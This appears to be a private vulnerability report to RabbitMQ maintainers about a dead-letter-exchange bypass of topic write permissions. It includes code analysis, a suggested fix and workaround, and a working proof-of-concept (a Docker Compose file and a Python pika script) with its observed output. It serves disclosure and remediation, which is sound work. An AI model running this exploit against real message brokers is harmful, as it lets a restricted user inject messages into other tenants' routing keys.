queue.declare checks only resource-level write permission on x-dead-letter-exchange. It does not check x-dead-letter-routing-key against the declaring user's topic permissions. rabbit_dead_letter:publish/5 then routes the dead-lettered message with broker authority and performs no authorization check.
An authenticated user whose topic write pattern is ^public\..*$ can declare a queue with x-dead-letter-exchange=amq.topic, x-dead-letter-routing-key=admin.secret, and x-message-ttl=0. A message published to that queue expires immediately and is delivered on amq.topic with routing key admin.secret. A direct basic.publish of that key returns 403 ACCESS_REFUSED.
Affected versions are >= 3.7.0, <= 4.4.0, plus current main (d38028c9c3). Retested on 2026-10-31 with the official rabbitmq:4.4.0-management image (rabbitmqctl version reported 4.4.0). No management tag is required.
Topic permissions, added in 3.7.0, are the routing-key authorization layer on a topic exchange. Publishing goes through both the resource write check and check_topic_authorisation/5. Dead lettering does not.
On v4.4.0, deps/rabbit/src/rabbit_channel.erl:2593 handles x-dead-letter-exchange by calling check_read_permitted/3 on the queue and check_write_permitted/3 on the DLX exchange. It never calls check_topic_authorisation/5 for x-dead-letter-routing-key. On main (d38028c9c3) the same branch is at deps/rabbit/src/rabbit_channel.erl:2661-2664.
deps/rabbit/src/rabbit_dead_letter.erl publish/5 (lines 30-47 on main) replaces the routing keys with the configured dead-letter routing key, then calls rabbit_exchange:route/3 and rabbit_queue_type:deliver/4 with no access check. The quorum at-least-once path in deps/rabbit/src/rabbit_fifo_dlx_worker.erl does the same.
Queue arguments take precedence over policy for both dead-letter-exchange and dead-letter-routing-key (queue_arg_has_precedence/2 and classic res_arg/2). The DLX documentation states the same override. An operator policy cannot pin a safe routing key if the user can declare the queue.
This is a vulnerability because topic permissions are the control that limits which routing keys a user may cause to be published on a shared topic exchange. The declaration-time DLX check already treats that configuration as a publish authorization, but it implements only the resource half of the check. Direct publish and bind still enforce the topic pattern, so the DLX path is an inconsistent hole in that boundary.
Preconditions:
configure on the queue and resource write on the topic exchange. read on the queue is also required by the existing DLX check.Not required: a management tag, Management API access by the attacker, another user's credentials, or Erlang distribution access. The Management API in the proof of concept is used only by the administrator to create the fixture and read the result.
Environment: official Docker image rabbitmq:4.4.0-management, unmodified broker, Linux container, Erlang and OS versions bundled in that image. An earlier run used rabbitmq:4-management and still saw the issue in 4.3.2. The image does not enable a custom authorization backend.
Suggested fix: when the dead-letter exchange is a topic exchange, call check_topic_authorisation for x-dead-letter-routing-key at declaration time, using the declaring user and write. If that argument is absent, the original routing keys are reused, so those keys need the same check when the message is dead-lettered or the declaration must be limited to exchanges where that reuse is safe. Apply the same check on the AMQP 1.0 and HTTP declaration paths.
Workaround: do not grant configure on queues to a user who is restricted by topic permissions on an exchange they can write. A DLX policy does not close this, because queue arguments override the policy.
Tested on 2026-10-31 against rabbitmq:4.4.0-management. Direct publish to public.ok was accepted. Direct publish to admin.secret returned 403 ACCESS_REFUSED - write access to topic 'admin.secret' in exchange 'amq.topic' in vhost '/' refused for user 'restricted'. After the DLX queue expired the message, secret-queue contained payload TOPIC_PERMISSION_BYPASSED_VIA_DLX with routing key admin.secret and exchange amq.topic. Binding admin.secret was still 403. The restricted user had an empty management tag in that run. The script below sets tags to management; that tag is not used and is not required.
Save poc.py next to this Compose file and run docker compose up --abort-on-container-exit.
networks:
vuln04-net:
driver: bridge
services:
target:
image: rabbitmq:4.4.0-management
container_name: vuln04-target
hostname: vuln04-target
environment:
RABBITMQ_DEFAULT_USER: admin
RABBITMQ_DEFAULT_PASS: admin123
networks:
- vuln04-net
healthcheck:
test: ["CMD", "rabbitmq-diagnostics", "check_running", "-q"]
interval: 10s
timeout: 10s
retries: 5
attacker:
image: python:3.11-slim
container_name: vuln04-attacker
command: >
bash -c "pip install -q pika requests && python3 /poc/poc.py vuln04-target && echo '>>> TEST COMPLETE'"
volumes:
- ./poc.py:/poc/poc.py:ro
networks:
- vuln04-net
depends_on:
target:
condition: service_healthy
#!/usr/bin/env python3
"""PoC: DLX Topic Permission Bypass"""
import pika, requests, time, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "vuln04-target"
API = f"http://{TARGET}:15672/api"
ADMIN = ("admin","admin123")
requests.put(f"{API}/users/restricted", auth=ADMIN,
json={"password":"rest123","tags":"management"})
requests.put(f"{API}/permissions/%2F/restricted", auth=ADMIN,
json={"configure":".*","write":".*","read":".*"})
requests.put(f"{API}/topic-permissions/%2F/restricted/amq.topic", auth=ADMIN,
json={"exchange":"amq.topic","write":"^public\\\\..*$","read":"^public\\\\..*$"})
requests.put(f"{API}/queues/%2F/secret-queue", auth=ADMIN, json={"durable":True})
requests.post(f"{API}/bindings/%2F/e/amq.topic/q/secret-queue", auth=ADMIN,
json={"routing_key":"admin.secret"})
creds = pika.PlainCredentials('restricted','rest123')
conn = pika.BlockingConnection(pika.ConnectionParameters(host=TARGET, credentials=creds))
ch = conn.channel()
try:
ch.confirm_delivery()
ch.basic_publish(exchange='amq.topic', routing_key='admin.secret', body='direct')
print("[Test 1] Direct publish: UNEXPECTED SUCCESS")
except pika.exceptions.ChannelClosedByBroker as e:
print("[Test 1] Direct publish: BLOCKED (ACCESS_REFUSED)")
conn = pika.BlockingConnection(pika.ConnectionParameters(host=TARGET, credentials=creds))
ch = conn.channel()
ch.queue_declare(queue='dlx-bypass', durable=True, arguments={
'x-dead-letter-exchange': 'amq.topic',
'x-dead-letter-routing-key': 'admin.secret',
'x-message-ttl': 0
})
ch.basic_publish(exchange='', routing_key='dlx-bypass',
body='TOPIC_PERMISSION_BYPASSED_VIA_DLX')
conn.close()
time.sleep(2)
r = requests.post(f"{API}/queues/%2F/secret-queue/get", auth=ADMIN,
json={"count":5,"ackmode":"ack_requeue_false","encoding":"auto"})
msgs = r.json()
if msgs:
for m in msgs:
print(f"[VULNERABLE] Message in secret-queue: routing_key={m['routing_key']}, "
f"payload={m['payload']}")
else:
print("[SAFE] secret-queue is empty")
requests.delete(f"{API}/queues/%2F/dlx-bypass", auth=ADMIN)
requests.delete(f"{API}/queues/%2F/secret-queue", auth=ADMIN)
requests.delete(f"{API}/users/restricted", auth=ADMIN)
Observed on the 4.4.0 run:
[Test 1] Direct publish to admin.secret
Result: BLOCKED
Error: ACCESS_REFUSED - write access to topic 'admin.secret' in exchange
'amq.topic' in vhost '/' refused for user 'restricted'
[Test 2] Via DLX (x-dead-letter-routing-key=admin.secret, x-message-ttl=0)
Message sent (TTL=0 -> instant DLX)
[Verify] secret-queue:
[VULNERABLE] Message arrived!
routing_key: admin.secret
payload: TOPIC_PERMISSION_BYPASSED_VIA_DLX
exchange: amq.topic
A positive control, direct publish of public.ok, was accepted and arrived on a queue bound to that key. That shows the stored pattern is ^public\..*$, not a pattern that denies every key.
A user who is allowed to declare a queue and write to a topic exchange can inject messages onto routing keys outside their topic write pattern. In a multi-tenant topic exchange, that is a cross-tenant integrity failure. x-message-ttl=0 makes it immediate. Any AMQP client that can declare a queue can do it.
The user still cannot bind or consume the forbidden key, so topic read authorization holds. Availability is not directly affected.
There is no patched version. Please keep this private until a patch release and CVE are ready. I can retest a fix. Please credit vulscan.